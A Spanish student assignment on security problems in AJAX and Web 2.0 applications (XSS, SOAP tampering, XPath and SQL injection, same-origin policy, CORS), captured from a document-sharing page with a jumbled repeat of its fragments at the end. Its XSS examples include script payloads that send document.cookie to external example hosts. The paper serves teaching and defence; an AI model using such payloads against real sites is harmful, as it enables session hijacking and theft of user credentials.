InGenieRia Social

Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE

Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Actividades
Trabajo: Seguridad en AJAX
Descripción de la actividad
Realización de un trabajo para recopilar los problemas de seguridad que presenta la

tecnología WEB 2.0 AJAX y las posibles soluciones a los mismos.
Pautas de elaboración
Esta actividad sobre seguridad en aplicaciones Ajax abarca los problemas de seguridad
que tienen este tipo de aplicaciones, que caen en la categoría denominada rich internet
applications y en las posibles soluciones a los mismos. Hay que consultar cuantas
fuentes relativas al tema se considere y sintetizar la información relevante sin limitarse
a copiar el contenido de alguna de ellas.
Criterios de valoración
Se valorará (para todas las actividades):
Contenidos. Para la realización de los trabajos se deben consultar varias fuentes

para después contrastarlas, sintetizarlas y generar un trabajo y opinión
personalizados aportando ejemplos gráficos.
Estructura del documento. Debe ser planificada previamente y tener un
apartado de conclusiones y de referencias al final.
Presentación acorde con la categoría del curso.
Referencias. Se deben especificar en un apartado al final todas las fuentes
consultadas, URL’s de internet, papers, artículos o libros especificando todos los
datos de la publicación disponibles. Recalcar la obligatoriedad de la especificación
de las referencias consultadas.
Extensión máxima: 10-15 páginas (fuente Georgia 11 e interlineado 1,5).
TEMA 1 – Actividades
DESARROLLO
Las tecnologías Web 2.0 permiten abrir nuevos canales de comunicación y mejorar la
usabilidad de las aplicaciones Web, haciendo que éstas sean más amigables e
interactivas a través de funcionalidades como redes sociales, wikis, blogs y servicios
interactivos.
Las aplicaciones se conforman por un mayor número de componentes, normalmente

con tareas muy pequeñas lo que aumenta su complejidad y cada uno de ellos deberá ser
protegido ya que pueden ser sujetos de posibles ataques, tarea que se vuelve más difícil
aumentando su vulnerabilidad y de igual manera la complejidad de realizar un hacking
ético adecuado como medida de prevención a posibles ataques.
Para algunos usuarios de la web 2.0 la seguridad es un tema irrelevante, esta opinión se
convierte en algo que para otros usuarios es una ventaja aprovechándose de los
mismos al usar los blogs para insertar un código HTML malicioso, archivos con virus o
gusanos por el solo hecho de no dar la importancia y prestar atención a los cuidados
mínimos a una de las tantas ventanas que tiene el ciberespacio de cara a nuestra
información.
Aunque muchas organizaciones han encontrado formas, aplicaciones y herramientas

para darle un buen uso a la web 2.0, los directores de IT y seguridad de la información
han empezado a preocuparse por los riesgos que representa los malware, la perdida de
datos y otros aspectos que hacen parte de la seguridad de la información como activo
más importante. Las soluciones de seguridad tradicionales como los antivirus no
pueden incluso evadir la detección de antivirus. A través de sentencias de comandos
activos, códigos maliciosos y tácticas de ingeniería social. La seguridad de la web 2.0
requiere de un análisis y categorización en tiempo real de contenidos web que deben
ser monitoreados al vuelo.
Sin embargo y a pesar de todas las medidas los profesionales de TI, deben prevenir que
los empleados de las organizaciones empresariales carguen contenidos con derechos de
propiedad intelectual, secretos comerciales, o cualquier otra información sensible a
blogs, sitios en la nube o aplicaciones web 2.0. Desafortunadamente y muy a pesar de
las herramientas suministradas por la misma tecnología el factor humano es una

amenaza con la que los profesionales de TI no pueden contrarrestar.
Si hablamos de las posibilidades con los que cuenta un atacante de vulnerar esta
información citamos los feed. Estos son un medio por el cual los usuarios pueden leer
las entradas de un sitio Web o parte de ellas, un archivo que contiene la información del
contenido del blog y que se actualiza de forma automática. En los blogs los estos
pueden emitir fugas de información, así como también riesgos frente a la explotación
de vulnerabilidades de feeds maliciosos, a esto se suma su falta de trasparencia y
desconocimiento en fuentes reales de RSS y mashups.
La capacidad de lectura-escritura de la Web 2.0 permite integrar protocolos tales como

Ajax entre distintos entornos. Esta capacidad también puede exponer a los clientes y
servidores a ataques que pueden traspasar fácilmente los firewalls tradicionales. La
tendencia hacia el contenido Web auto-actualizable tiene sus pros y sus contras. Al
permitir el acceso, la ejecución y la agregación de contenidos desde el cliente, se abre
una nueva puerta en la que los atacantes pueden engañar a los usuarios y dirigirles a
programas malintencionados que pueden infiltrarse en las redes corporativas.
Por ejemplo, Ajax permite emitir de forma asincrónica llamadas JavaScript desde un
navegador. Sin embargo, la descarga de JavaScript desde sitios que no sean de
confianza puede permitir a los atacantes ejecutar llamadas Ajax malintencionadas en
los navegadores. Los ataques de scripts entre sitios pueden apropiarse de cuentas de
usuario, lanzar intentos de phishing y ejecutar programas malintencionados en los
sistemas de los usuarios.
Entre los ataques más relevantes a la web 2.0 podemos encontrar.
WSDL Scanning
Este ataque se dirige a la interfaz WSDL puesta a disposición por un servicio web. El
atacante puede escanear la interfaz WSDL para revelar información sensible acerca de
patrones de invocación, implementaciones tecnológicas subyacentes y las
vulnerabilidades asociadas. Este tipo de sondeo se lleva a cabo para realizar ataques
más graves (por ejemplo, la manipulación de parámetros, inyección malicioso
contenido, inyección de comandos, etc.). archivos WSDL proporcionan información

detallada sobre los puertos de servicios y enlaces disponibles para los consumidores.
Por ejemplo, el atacante puede enviar caracteres especiales o contenido malicioso al
servicio Web y puede causar una denegación de servicio o el acceso ilegal a los registros
de base de datos. Además, el atacante puede tratar de adivinar otros métodos privados
mediante el uso de la información contenida en los archivos WSDL. [1]
SOAP Parameter Tampering
Un atacante envía un mensaje SOAP, donde los valores de campo son diferentes de lo
que es probable que esperar el fin de precipitar el comportamiento del servidor no
estándar del servidor. En un mensaje SOAP, parámetros toman la forma de valores
dentro de los elementos XML. El servidor tendrá un esquema XML que indica ciertas
restricciones a los valores de estos parámetros. Por ejemplo, el servidor puede esperar
un parámetro sea una cadena con menos de 10 caracteres, o un número inferior a 100.
En un ataque de parámetros de SOAP manipulación, ya sea un atacante viola este
esquema, o se aprovecha de la flexibilidad en el régimen (por ejemplo, la falta de un
límite de caracteres) para proporcionar parámetros que el servidor no puede esperar.
Ejemplos de parámetros inesperados incluyen datos de gran tamaño, los datos con
diferentes tipos de datos, insertar meta caracteres dentro de los datos, y el envío de los
datos contextualmente inapropiadas (por ejemplo, enviar el nombre del producto
inexistente en un campo de nombre del producto o utilizando un número de secuencia
fuera de orden). Los resultados de este ataque pueden incluir la divulgación de
información, denegación de servicio, o incluso la ejecución de código arbitrario. [2]
Atom injection.
Una nueva característica de la" Web 2.0 ", es la facilidad para construir una mayor
capacidad de respuesta en la Web, con la utilización de los flujos XML que utilizan los
RSS y estándares Atom. Estos permiten a los usuarios y los sitios web para obtener el
contenido, titulares y el texto del cuerpo sin la necesidad de visitar el sitio en cuestión,
básicamente, proporcionando a los usuarios un resumen de ese contenido sitios. Por
desgracia, muchas de las aplicaciones que reciben estos datos no tienen en cuenta las
implicaciones de seguridad de uso de contenidos de terceros, y sin saberlo, hacen que
ellos y sus sistemas conectados sean susceptibles a diversas formas de ataque.
Atom injection se trata de un nuevo ataque WEB 2.0. RSS, son un medio común de
intercambio de información sobre portales y aplicaciones web, estos datos son
almacenados por las aplicaciones web y enviados al navegador del lado del cliente, se
puede inyectar JavaScript en el RSS para generar ataques en el navegador portales y
aplicaciones web. Aunque es un ataque ejecutado en el lado del cliente puede
trascender. [3]
XPath Injection
Las XPath Injection operan sobre los sitios web que utiliza la información suministrada
por el usuario para construir una consulta XPath para los datos XML. Mediante el
envío de la información intencionalmente con formato incorrecto en el sitio web, un
atacante puede averiguar cómo se estructura de los datos XML, o acceder a datos que
puede normalmente no tiene acceso. Él puede incluso ser capaz de elevar sus privilegios
en el sitio web si los datos XML se utiliza para la autenticación (por ejemplo, un archivo
de usuario basada en XML).
Las XPath Injection podría ser incluso más peligroso que las inyecciones SQL desde
XPath carece de control de acceso y permite la consulta de la base de datos completa
(documento XML), mientras que muchas bases de datos SQL tienen mesas meta que no
se puede acceder por las consultas regulares. Estas atacan el servicio web mediante la
sustitución de los parámetros originales del TestStep con strings maliciosos, diseñados
para exponer las posibles deficiencias en los servicios web que están utilizando la
entrada del usuario en expresiones XPath. Mediante el uso de afirmaciones, se puede
asegurar que el ataque no expuso a datos sensibles, devolver un identificador de sesión,
etc. [4]
RIA thick client binary manipulation
Las RIA thick client binary manipulation utilizan funciones de interfaz de usuario como
Flash, ActiveX y controles o applets como sus interfaces primarias a las aplicaciones
Web. Uno de sus problemas es la gestión de sesiones ya que se ejecuta en el navegador
y comparten una misma sesión, ya que la totalidad del código se descargará en el lado
del cliente , un atacante puede realizar ingeniería inversa y descompilar el código. [5]
AJAX (Asynchronous Javascript) and XML
Es una técnica que permite presentar la información con CSS y DOM. Esta técnica
permite crear aplicaciones interactivas ricas, las cuales se ejecutan en el lado del
cliente, client-side, en el navegador. El funcionamiento de AJAX es sencillo, mientras la
aplicación se ejecuta en el navegador del cliente, la comunicación se lleva a cabo de
manera asíncrona en segundo plano con el servidor. Esto permite crear el efecto de que
el sitio web va cambiando en función de las necesidades, por la actualización de la
información en el servidor, el cual podría ser debido a otras acciones del cliente. Sin
embargo esta característica exige un mayor grado de seguridad ya que la comunicación
de manera asíncrona entre el cliente y el servidor tiende a estar hecho de código poco
seguro, para que la información no se vea comprometida todo el tráfico debe ser
debidamente comprobado.
Para hablar de la seguridad en AJAX se debe traer en mención de lo que está

compuesto ya que su seguridad dependerá de los componentes que lo conforman.
La probabilidad y exposición de ataque en el lado del cliente es grande, la revelación
de la lógica de la aplicación hace que los posibles atacantes conozcan parte del código
ya que reside en esta parte permitiéndoles estudiar e inferir de cierto modo la lógica de
esta.El gran número de líneas de código y su dificultad para revisarlas hace que la
revisión de las aplicaciones multiplique su dificultad aumentando la vulnerabilidad de
la aplicación así como también su auditoria.
Ajax como técnica novedosa es utilizada por un sin número de programadores para
brindar una experiencia similar a trabajar en “local”, sin embargo y sumado a lo
anteriormente mencionado tenemos unas características de seguridad que no han sido
solventadas en su totalidad, tales como:
- Al existir más “inputs” hay más puntos que proteger

- Las funciones internas se encuentran expuestas
- No contiene mecanismos de codificación bien definidos cuando un cliente accede a
determinados recursos
- No es muy seguro a la hora de proteger la información de sesiones y autenticaciones
Entre las amenazas más notables se tienen el XSS el cual mediante el DOM se puede
alterar el contenido de un sitio, modificar la dirección donde los datos o formularios de
usuarios son enviados, robo de cookies y credenciales.
DOM-Based XSS.
Vulnerabilidad de aplicaciones web con el cual un atacante puede robar una sesión,
llevara cabo ataques phishing y mucho más. Las vulnerabilidades de scripts de sitios
(XSS) se producen cuando:
1. Los datos entran en una aplicación web a través de una fuente no confiable. En
el caso de XSS basado en DOM, los datos se leen desde un parámetro de URL u
otro valor dentro del explorador, y se escriben en la página con código del
cliente. En el caso de XSS reflejado, la fuente no confiable suele ser una
solicitud web, mientras que en el caso de XSS persistente (también conocido
como almacenado) suele ser una base de datos u otro almacén de datos back-
end.
2. Los datos se incluyen en el contenido dinámico que se envía a un usuario web

sin que se validen. En el caso de XSS basado en DOM, el contenido
malintencionado se ejecuta como parte de la creación de DOM (Modelo de
objetos de documento), siempre que el explorador de la víctima analice la
página HTML.
El contenido malintencionado que se envía al explorador web a menudo adopta la

forma de un segmento de código JavaScript, pero también puede incluir código HTML,
Flash o cualquier otro tipo de código que el explorador pueda ejecutar. La variedad de
los ataques basados en XSS es casi ilimitada, pero suelen incluir la transmisión de datos
privados como cookies u otra información de sesión al usuario malintencionado, re
direccionando a la víctima a un contenido web que este controla o realizar otras
operaciones malintencionadas en el equipo del usuario bajo la apariencia del sitio
vulnerable.
Ejemplo: Propagación "invisible" a través de múltiples peticiones HTTP
El código re direccionará la página a un sitio externo, que contiene a su vez otra página
con código malicioso justamente después de haberse "logueado" en la página original
desde la cual se hizo la petición
<script> alert ("SCG09")</script>

<script>document.location='http://tiendavirtual.com/pagina1.pl?'%20+document.coo
kie</script>
Código inyectado:
http://tiendavirtual.com/login.php?
variable="><script>document.location='http://ejemplo2.com/foro.php?'+document.c
ookie</script> [6]
Además de esta en el conjunto de amenazas por las cuales Ajax es susceptible en cuanto
a la seguridad de cara a la información del usuario en la web 2.0, se trae en mención las
citadas a continuación junto a su ejemplo explícito.
Ajax Bridging
Por medidas de seguridad, las aplicaciones AJAX solamente dejan conectarse desde el
website desde el que proceden. Es decir, -javascript- con Ajax descargado desde una
web A, no puede realizar conexiones sobre una web B (externa a la primera). Para
permitirlo se utilizan los servicios "bridge" (puente). El "puente" actúa como proxy
sobre el servidor Web para "forwardear" el tráfico entre el -javascript- del lado del
cliente y la web externa. Es como, un servicio web, para la propia página web. Un
atacante puede usar esta "capacidad" para acceder a áreas restringidas.
Ejemplo: Denegación de servicio con AJAX:

<IMG SRC="http://tiendavirtual.com/cgi-bin/scriptx.cgi?a=b"> [7]
Ataque a Myspace: Gusano que aprovecha un vector XSS + AJAX:
“Samy” utilizaba un vector permitido en los perfiles de los usuarios (<script>) de la

web de Myspace. A través de AJAX inyecta un virus dentro del perfil de cualquier
usuario que estuviera visitando la página infectada, y fuerza al usuario a visitarlo para
añadir al usuario "Samy" dentro de su lista de contactos.
Aparecían las letras "Samy is my hero" en todos los perfiles de las víctimas y tuvo
una propagación muy alta en muy poco tiempo.
Registro de propagación: 10/04, 12:34 pm: 73 // 5 hours later, 6:20 pm: 1,

005,831
[8]
Ataque a Yahoo! Mail Server: Gusano que aprovecha un vector XSS +

AJAX:
El gusano “Yammaner” utiliza un vector XSS con AJAX para tomar ventaja de una
vulnerabilidad en el evento "onload" del portal. Cuando un email infectado era
abierto, el gusano ejecutaba su código -javascript- malicioso, enviando una copia de si
mismo a todos los contactos de Yahoo del usuario infectado. El email infectado
utilizaba una dirección "spoofeada" tomada de otras víctimas, lo que hacía al usuario
poder "pensar" que se trataba de un email de alguno de sus contactos (ingeniería
social). [8]
Document.domain
La propiedad document.domain se emplea para permitir el acceso entre subdominios

del dominio principal de la aplicación. Evidentemente, los navegadores no permiten
establecer cualquier valor en esa propiedad, por lo que sólo se puede indicar un valor
que corresponda a una parte del subdominio completo donde se encuentra el script. La
restricción del acceso a diferentes dominios es más restrictiva de lo que en principio
puede parecer. El problema es que los navegadores emplean un método demasiado
simple para diferenciar entre dos dominios ya que no permiten ni subdominios ni otros
protocolos ni otros puertos.
Por ejemplo, si el código JavaScript se descarga desde la siguiente URL:
http://www.ejemplo.com/scripts/codigo.js, las funciones y métodos incluidos en
ese código no pueden acceder a los recursos contenidos en los siguientes archivos:
http://www.ejemplo.com:8080/scripts/codigo2.js
https://www.ejemplo.com/scripts/codigo2.js
http://192.168.0.1/scripts/codigo2.js
http://scripts.ejemplo.com/codigo2.js
La solución para el acceso a recursos no originados en el mismo dominio se basa

precisamente en esta propiedad. Lo realiza de esta manera:
El código alojado en:
http://www.ejemplo.com/scritps/codigo1.js
Establece la variable document.domain = "ejemplo.com"
Por otra parte, el código alojado en:
http://scripts.ejemplo.com/codigo2.js
Establece la variable document.domain = "ejemplo.com"
Los recursos de ambos códigos pueden interactuar entre sí. [9]
Un grave problema utilizando AJAX entre nombres de dominios

http://scripts.ejemplo.com/codigo2.js es lo que se conoce como Same Origin Policy.
Con este problema de seguridad un script obtenido en un origen puede cargar o
modificar propiedades del documento desde otro origen no igual al primero.
Same Origin Policy (política de origen)
Same Origin Policy es una característica de seguridad que se encuentra en la ejecución

de JavaScript en los navegadores, así como en otras tecnologías utilizadas en un
navegador, por ejemplo de Flash. Básicamente le permite hacer peticiones a páginas
dentro del mismo sitio / dominio, mientras que le impide hacer peticiones a páginas en
un dominio diferente, otro subdominio o por medio de un protocolo diferente. Esta
política de seguridad, nos va a evita muchos ataques desde fuera pero también supone
un problema para los desarrolladores debido a que limita los recursos a los que desean
acceder. [10]
La siguiente situación indica en qué medida podría verse comprometida la integridad

de la información.
- Inocencio entra en la página de su banco "misEurillos.com".

- Inocencio abre otra pestaña para entrar en una tienda online a comprar unos
caramelos para la tos: "tengoDeTodo.com".
- La página de la tienda "tengoDeTodo.com" tiene código JavaScript para intentar
robar datos de todos los clientes que entran. Mediante AJAX, hace peticiones a
varios bancos conocidos (incluido misEurillos.com).
- El banco responde con los datos de Inocencio porque la petición AJAX incluye
automáticamente las cookies/credenciales que Inocencio tiene aún activas por
tener sesión abierta en su banco.
- El script de la página "tengoDeTodo.com" recibe los datos del banco y se los
envía a Malone para realizar sus fechorías. [11]
En este caso el script no podría enviar las peticiones AJAX a los bancos (son orígenes
diferentes a "tengoDeTodo.com") ni tendría acceso a las cookies o datos de las otras
páginas que Inocencio está viendo.
Envenenamiento XML
El envenenamiento XML es otro de los problemas de seguridad a los que nos podemos
enfrentar. El servidor debe validar todos los datos que recibe, ya que un posible XML
malformado puede causar un crash en el servidor provocando una denegación de
servicio.
La ejecución de código malicioso también debemos tenerlo en cuenta. Las llamadas que
se realizan con Ajax ejecutan en backgraund sin ninguna interacción del usuario por lo
que el usuario no es consciente de lo que se está realizando en un sitio concreto,
aprovechando la web este hecho para realizar un robo de cookies y aun peor de
manera silenciosa y poco sospechosa
En todo software particularmente en nuestro caso Ajax que requiere de validaciones de

cliente enfrenta un mayor grado de amenaza, como una forma de contrarrestarlo
podríamos citar la validación tanto en este lado como en el lado del servidor.
Amenazas y medidas a tener en cuenta:
- No establecer conexiones con sitios diferentes del nombre de dominio del que se ha
obtenido el script de JavaScript, protegiéndolo ante problemas de seguridad y esta
medida se conoce como CORS, Cross-Origin Resource Sharing.
Cross Origin Sharing Sources (CORS)
Cuando realizamos una petición Ajax, el navegador incluye una cabecera “Origin” en la
solicitud de la petición con el servidor origen que está realizando la petición. Cuando
usamos el método CORS para evitar los problemas de Cross Domain, lo que estamos
haciendo es informar en el servidor destino de los orígenes que pueden realizar
peticiones sobre él. Esto lo consigue añadiendo una nueva cabecera en la respuesta de
la petición Http, “Access-Control-Allow-Origin”
Si la cabecera Origin (request Http) no coincide con la cabecera “Access-Control-

Allow-Origin” (response Http), nuestra petición Ajax no podrá acceder.
Ejemplo:
Una petición Ajax realizada por Facebook mientras los usuarios utilizan el chat. Las
cabeceras de petición y respuesta coinciden y la petición consigue realizarse.
[12]
Los ficheros Javascript que se han obtenido desde un sitio en concreto no deben poder
acceder a propiedades de otro sitio.
- Se debe tener en cuenta los ataques clásicos como SQLi y XSS por lo que buscarlos
especialmente y XSRF, los cuales podrán ser solventados mediante un filtrado
correcto o utilización de tokens correctamente en el caso del XSRF.
Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la
extracción de información y posible ejecución arbitraria de código en el lado del
servidor, sin embargo, ahora en el lado del cliente también es posible almacenar datos
en bases de datos relacionales.
Esta es la razón por la cual SQL Injection es una amenaza para Ajax. Estas amenazas
cobran forma cuando un atacante inserta códigos maliciosos en una zona de la página
web poco desarrollada como por ejemplo un formulario, si este es vulnerable todo el
contenido de la base de datos puede estar expuesto. El SQL Injection es tan perjudicial
en Ajax que al ser mitigado con técnicas de saneamiento basadas en JavaScript no son
suficientes frente al ataque de esta explotación.
Para proteger una base de datos cuando se utiliza Ajax se debe validar la entrada del
usuario con la validación que se realiza del lado de servidor, de igual manera la
cuidadosa declaración de parámetros evitarán este tipo de amenazas y que los valores
no ingresan directamente en la base de datos, en su lugar se utiliza una variable de
enlace así como también una llamada API para el marcador de posición.
Ejemplo
La consulta en la base de datos será.
SQL Injection Based on 1=1

La consulta anterior es correcta, cuando se ejecuta, la base de datos devuelve el número
total de registros en la tabla, puesto que la condición se cumple aunque el nombre de
usuario y contraseña sean incorrectos porque la condición OR ‘1’=’1’ se cumple siempre
Ejemplo 2. Averiguar el contenido de los registros
La respuesta de la aplicación es "Nombre de usuario y contraseña correctos.", lo que

nos indica que hay un usuario cuyo nombre empieza por "a". En este caso, la consulta a
la base de datos habrá sido algo parecido a esto:
Podríamos ir alargando la cadena letra a letra hasta encontrar el nombre del usuario. [13]
Otras medidas que podríamos citar tendríamos las siguientes:
- No almacenar jamás datos sensibles o confidenciales en el lado del cliente, este

hecho haría que obtenerlos por un atacante fuera algo potencialmente sencillo.
- Utilización de métodos criptográficos para transmitir datos sensibles o
confidenciales entre el cliente y el servidor.
- La lógica de negocio debe tener el principio de mínima exposición y encontrarse
siempre en el lado del servidor.
- Toda petición realizada con AJAX y que acceda a recursos protegidos deberán
encontrarse autenticadas.
- Validación de todos los campos de entrada y comprobación siempre en el lado del
servidor, de otra manera cualquier acción que se valide en el cliente puede ser
manipulada, por ejemplo mediante el uso de un proxy.
- Implantar controles de seguridad como pueden ser autenticación, autorización, e
incluso registro de operaciones o logging, siempre en el lado del servidor.
- Utilizar métodos POST en vez de métodos GET.
- El código de JavaScript se debe ejecutar mediante el uso de una sandbox, con lo

que todo lo malicioso que se intente ejecutar queda aislado y sin acceso a los
recursos de interés de la máquina atacada.
Conclusiones
- La seguridad de datos confidenciales, como la contabilidad, facturación, es uno de los
aspectos que más se debaten, al estar almacenados en servidores ajenos. Si nos
centramos en las pymes es probable que los datos estén en mejor recaudo de
servidores de empresas dedicadas a ello que en ordenadores que normalmente son

mucho más vulnerables a ataques de virus, troyanos, espías.
- Actualmente las amenazas mayores en internet están en el robo de la información, la

vulnerabilidad de los datos, así como también en el desarrollo de códigos maliciosos
con la finalidad de captar información confidencial y a partir de ella conseguir grandes
beneficios.
- AJAX, RIA y demás servicios web son tecnologías importantes de la web 2.0 como
tecnologías prometedoras, aportan eficacia, eficiencia a las aplicaciones web. Sin
embargo detrás de ellas vienen nuevos problemas de seguridad, para contrarrestarlas,
los encargados de la seguridad de la información deben recurrir a diferentes técnicas de
codificación e implementaciones seguras en la protección de datos, a pesar de estas
medidas la concientización de las nuevas herramientas IT, su utilización, ventajas y
riesgo para las organizaciones por parte de sus funcionarios y trabajadores se convierte
en la mejor arma de defensa contra estos.
- AJAX de por sí no presenta problemas de seguridad presentes en el diseño de

aplicaciones web, sin embargo el contenido de código de lado del cliente tiende a
aumentar considerablemente las amenazas. Este código es visible por parte del usuario,
por lo que debemos asegurarnos de no revelar información sensible dentro de él. No
solo en cuento a contraseñas de acceso, sino también lógica de negocio o conexiones a
bases de datos, todo esto debemos delegarlo a los scripts de lado del servidor. A pesar
de esta medida tan elemental y pequeña todavía existen desarrollos que no cumplen
este punto, debemos recordar que como desarrolladores de software somos el punto de
partida de la seguridad de la información y la protección de la información como el
mayor recurso de las organizaciones.
BIBLIOGRAFIA
[1] https://capec.mitre.org/data/definitions/95.html
[2]https://capec.mitre.org/data/definitions/280.html
[3] http://www.cgisecurity.com/rss.html
[4] https://www.soapui.org/security-testing/security-
scans/xpath-injection.html
[5]
http://www.infosecwriters.com/text_resources/pdf/SShah_Web2
0.pdf
[6] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[7] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[8] https://issuu.com/dragonjar/docs/cross-site-scripting/137
[9] http://librosweb.es/libro/ajax/capitulo_7/seguridad.html
[10] http://www.jquery-tutorial.net/ajax/same-origin-policy/
[11]http://notasjs.blogspot.com.co/2013/09/politica-del-mismo-origen-same-
origin.html
[12] http://www.cantabriatic.com/wp-content/uploads/2015/04/peticiones.png
[13] http://www.mclibre.org/consultar/php/lecciones/php_db_inyeccion_sql.html

InGenieRia Social

Încărcat de

Informații document

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

InGenieRia Social

Încărcat de

Drepturi de autor:

Formate disponibile

Asignatura Datos del alumno Fecha

Seguridad en Apellidos: OMAR JOSE

Trabajo: Seguridad en AJAX

Realización de un trabajo para recopilar los problemas de seguridad que presenta la

Se valorará (para todas las actividades):

Contenidos. Para la realización de los trabajos se deben consultar varias fuentes

Extensión máxima: 10-15 páginas (fuente Georgia 11 e interlineado 1,5).

Las aplicaciones se conforman por un mayor número de componentes, normalmente

Aunque muchas organizaciones han encontrado formas, aplicaciones y herramientas

las herramientas suministradas por la misma tecnología el factor humano es una

La capacidad de lectura-escritura de la Web 2.0 permite integrar protocolos tales como

Entre los ataques más relevantes a la web 2.0 podemos encontrar.

contenido, inyección de comandos, etc.). archivos WSDL proporcionan información

SOAP Parameter Tampering

RIA thick client binary manipulation

AJAX (Asynchronous Javascript) and XML

Para hablar de la seguridad en AJAX se debe traer en mención de lo que está

- Al existir más “inputs” hay más puntos que proteger

2. Los datos se incluyen en el contenido dinámico que se envía a un usuario web

El contenido malintencionado que se envía al explorador web a menudo adopta la

Ejemplo: Propagación "invisible" a través de múltiples peticiones HTTP

<script> alert ("SCG09")</script>

Ejemplo: Denegación de servicio con AJAX:

Ataque a Myspace: Gusano que aprovecha un vector XSS + AJAX:

“Samy” utilizaba un vector permitido en los perfiles de los usuarios (<script>) de la

Registro de propagación: 10/04, 12:34 pm: 73 // 5 hours later, 6:20 pm: 1,

Ataque a Yahoo! Mail Server: Gusano que aprovecha un vector XSS +

La propiedad document.domain se emplea para permitir el acceso entre subdominios

La solución para el acceso a recursos no originados en el mismo dominio se basa

Establece la variable document.domain = "ejemplo.com"

Los recursos de ambos códigos pueden interactuar entre sí. [9]

Un grave problema utilizando AJAX entre nombres de dominios

Same Origin Policy (política de origen)

Same Origin Policy es una característica de seguridad que se encuentra en la ejecución

La siguiente situación indica en qué medida podría verse comprometida la integridad

- Inocencio entra en la página de su banco "misEurillos.com".

En todo software particularmente en nuestro caso Ajax que requiere de validaciones de

Amenazas y medidas a tener en cuenta:

Cross Origin Sharing Sources (CORS)

Si la cabecera Origin (request Http) no coincide con la cabecera “Access-Control-

La consulta en la base de datos será.

SQL Injection Based on 1=1

Ejemplo 2. Averiguar el contenido de los registros

La respuesta de la aplicación es "Nombre de usuario y contraseña correctos.", lo que

- No almacenar jamás datos sensibles o confidenciales en el lado del cliente, este

- El código de JavaScript se debe ejecutar mediante el uso de una sandbox, con lo

servidores de empresas dedicadas a ello que en ordenadores que normalmente son

- Actualmente las amenazas mayores en internet están en el robo de la información, la

- AJAX de por sí no presenta problemas de seguridad presentes en el diseño de

S-ar putea să vă placă și